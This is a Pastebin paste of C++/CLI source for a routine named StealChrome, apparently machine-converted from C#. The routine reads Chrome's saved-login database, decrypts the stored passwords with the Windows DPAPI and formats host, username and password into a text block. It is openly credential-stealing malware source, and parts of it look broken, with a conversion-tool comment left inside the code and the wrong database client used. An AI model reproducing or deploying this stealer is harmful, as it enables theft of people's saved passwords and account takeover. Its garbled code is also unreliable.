Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- void StealChrome()
- {converted by Instant C++:
- System::String ^cpass = System::String::empty;
- System::String ^datapath = Environment::GetFolderPath(Environment::SpecialFolder::LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Web Data";
- if (File::Exists(datapath))
- {
- SqlClient::SqlConnection ^SQLconnect = gcnew SqlClient::SqlConnection();
- SqlClient::SqlCommand ^SQLcommand = nullptr;
- SQLconnect->ConnectionString = "Data Source=" + datapath + ";";
- SQLconnect->Open();
- SQLcommand = SQLconnect->CreateCommand();
- SQLcommand->CommandText = "SELECT * FROM logins";
- SqlClient::SqlDataReader ^SQLreader = SQLcommand->ExecuteReader();
- System::String ^host = nullptr;
- System::String ^user = nullptr;
- System::String ^pass = nullptr;
- while (SQLreader->Read())
- {
- host = SQLreader["origin_url"];
- user = SQLreader["username_value"];
- pass = Decrypt(SQLreader["password_value"]);
- if ((user != "") & (pass != ""))
- {
- pss->Text = host;
- cpass = ("=============================" + System::Environment::NewLine + "Host: " + host + System::Environment::NewLine + "Username: " + user + System::Environment::NewLine + "Password: " + pass + System::Environment::NewLine + "=============================" + System::Environment::NewLine + " ");
- }
- }
- delete SQLcommand;
- SQLconnect->Close();
- }
- }
- private:
- [DllImport("Crypt32.dll", SetLastError=true, CharSet=System::Runtime::InteropServices::CharSet::Auto)]
- static bool CryptUnprotectData(DATA_BLOB %pDataIn, System::String ^szDataDescr, DATA_BLOB %pOptionalEntropy, IntPtr pvReserved, CRYPTPROTECT_PROMPTSTRUCT %pPromptStruct, int dwFlags, DATA_BLOB %pDataOut);
- [Flags()]
- private enum class CryptProtectPromptFlags: int
- {
- CRYPTPROTECT_PROMPT_ON_UNPROTECT = 0X1,
- CRYPTPROTECT_PROMPT_ON_PROTECT = 0X2
- };
- [StructLayout(LayoutKind::Sequential, CharSet=CharSet::Unicode)]
- private value class CRYPTPROTECT_PROMPTSTRUCT
- {
- public:
- int cbSize;
- CryptProtectPromptFlags dwPromptFlags;
- IntPtr hwndApp;
- System::String ^szPrompt;
- };
- [StructLayout(LayoutKind::Sequential, CharSet=CharSet::Unicode)]
- private value class DATA_BLOB
- {
- public:
- int cbData;
- IntPtr pbData;
- };
- public:
- static System::String ^Decrypt(array<System::Byte> ^Datas)
- {
- DATA_BLOB inj = DATA_BLOB();
- DATA_BLOB Ors = DATA_BLOB();
- GCHandle Ghandle = GCHandle::Alloc(Datas, GCHandleType::Pinned);
- inj.pbData = Ghandle.AddrOfPinnedObject();
- inj.cbData = Datas->Length;
- Ghandle.Free();
- DATA_BLOB temppOptionalEntropy1 = DATA_BLOB();
- CRYPTPROTECT_PROMPTSTRUCT temppPromptStruct2 = CRYPTPROTECT_PROMPTSTRUCT();
- CryptUnprotectData(inj, nullptr, temppOptionalEntropy1, System::IntPtr::Zero, temppPromptStruct2, 0, Ors);
- array<System::Byte> ^Returned = gcnew array<System::Byte>(Ors.cbData + 1);
- Marshal::Copy(Ors.pbData, Returned, 0, Ors.cbData);
- System::String ^TheString = Encoding::Default->GetString(Returned);
- return TheString->Substring(0, TheString->Length - 1);
- }
- };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement